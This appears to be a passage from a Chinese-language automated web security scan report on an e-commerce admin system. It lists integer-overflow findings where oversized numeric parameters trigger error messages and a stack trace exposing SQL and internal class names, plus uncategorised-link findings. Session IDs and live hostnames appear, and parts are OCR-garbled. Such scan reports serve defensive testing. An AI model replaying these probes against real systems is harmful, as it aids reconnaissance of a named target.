User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
                  -999999999999999999999999999999999999
 "goodsid":
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:19 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (-99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@66bb4f91; line: 1, column: 33]
```

变体-|3/3

差异: 参数 从以下位置进行控制: 105190 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 69
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid":
                  18446744073709551617,
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:19 GMT
```

```
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
at [Source: io.netty.buffer.ByteBufInputStream@1f0c8d05; line: 1, column: 32]
```

问题 15 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"departmentid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 71
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, ^{\star/\star};~\text{q=0.01}
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid":
                       999999999999999999
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:19 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

```
Numeric value (99999999999999999) out of range of long (-9223372036854775808 - 9223372036854775807) at [Source: io.netty.buffer.ByteBufInputStream@69a0c75d; line: 1, column: 71]
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 72
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid":
                       -999999999999999999
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:20 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (-99999999999999999) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@2ec60794; line: 1, column: 72]
```

变体-|3/4

Accept: application/json, text/javascript, */*; q=0.01

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 61
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
```

```
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
  "goodsid": 105190,
  "stockqty": "+12",
                                          4294967297
  "departmentid":
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 "data": [
 "returnCode": 0,
                            错误代码:添加库存失败\r\n错误信
  "msg": "
息:null\r\nStackTrace:org.springframework.dao.DuplicateKeyException: \n### Error updating
database. Cause: org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique
constraint \"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n### The error may involve com.suneee.scn.goods.dao.PubGoodsStockDao.addPubGoodsStock-
Inline\n### The error occurred while setting parameters\n### SQL: insert into pub goods stock
( enterpriseid,
                                           goodsid,
                                                                            departmentid,
                                                                                                                    stockqty )
                                          ? )\n### Cause: org.postgresql.util.PSQLException: ERROR: duplicate key
value violates unique constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid) =
(105190, 55) already exists.\n; SQL []; ERROR: duplicate key value violates unique constraint
\"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already exists.;
nested exception is org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique
constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid) = (105190, 55) already
exists.\n\tat
org.springframework.jdbc.support.SQLErrorCodeSQLExceptionTranslator.doTranslate(SQLErrorCodeSQLEx
ceptionTranslator.java:239)\n\tat
org.springframework.jdbc.support.AbstractFallback<mark>SQLException</mark>Translator.translate(AbstractFallbac
kSQLExceptionTranslator.java:73) \n\tat
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.insert(Unknown Source)\n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
com.sun.proxy.$Proxy55.addPubGoodsStock(Unknown Source)\n\tat
com.suneee.scn.goods.service.PubGoodsStockService.addPubGoodsStock(PubGoodsStockService.java:21)
\verb|com.suneee.scn.goods.consumer.impl.PubGoodsStockConsumer.addPubGoodsStock(PubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jumple.pubGoodsStockConsumer.jum
ava:53) \n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsStockConsumer$$FastClassBySpringCGLIB$$778c158d.invokes to the constant of the c
(<generated>) \n\tat org.springframework.cglib.p
. . .
ead0(RequestHandler.java:52)\ntat
io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105) \n\
io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
va:363)\n\tat
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:163) \n\tat
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java: 403)} \\
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
\verb|org.postgresql.util.PSQLException||: ERROR: duplicate key value violates unique constraint
\"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
```

```
at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461) \n\tat com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493 )\n\tat org.apache.ibatis.executor.statement.PreparedStatementHandler.update(PreparedStatementHandler.jav a:41)\n\tat org.apache.ibatis.exec ... ... ...
```

变体-|4/4

差异: 参数 从以下位置进行控制: 1670 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 71
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": 105190,
 "stockqty": "+12",
 "departmentid":
                       18446744073709551617
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Numeric value (18446744073709551617) out of range of long (-9223372036854775808 -
9223372036854775807)
 at [Source: io.netty.buffer.ByteBufInputStream@10384559; line: 1, column: 71]
```

问题 16 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageSize (Parameter)
实体: 风险:	pageSize (Parameter) 可能会收集敏感的调试信息

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=999999999999999999998orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
Referer: \ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999999"
```

变体-|3/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=4294967297&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|4/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?pageNum=1&pageSize=18446744073709551617&orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

参 未分类站点的链接 19

TOC

问题 **1 / 19** Toc

未分类站点的链接 严重性: ②考 CVSS 分数: 0.0 URL: http://system-rest-enterprise.mall.xt.weilian.cn/ 实体: http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png (Link) 风险: 不适用 原因: 不适用 固定值: 检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
```

```
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if TE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest."
   <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    k rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
       .error {
  color: red;
```

```
.toptitle{font-family:"
                                          微软雅黑";font-size:16px;padding-top:10px;}
          body{background-color:#F2F4F4;}
          #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    </div>
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
         <!-- END Login Title -->
        <!-- Login Block -->
         <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                  <div align="center" style="padding:30px 0;">

                           <div class="toptitle">
                  </div>
           <!-- Login Form -->
           <form id="form-login" class="form-horizontal">
           <div class="form-group"
```



问题 2 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 k rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
```

```
<!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
         .toptitle{font-family:"
                                        微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                  <div align="center" style="padding:30px 0;">
                          | Style="width:80%;"/>
| cing src="image/toptitle.png" style="width:80%;"/>
| cdiv class="toptitle"> 资源商城管理平台</div
                 </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
```



问题 3 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
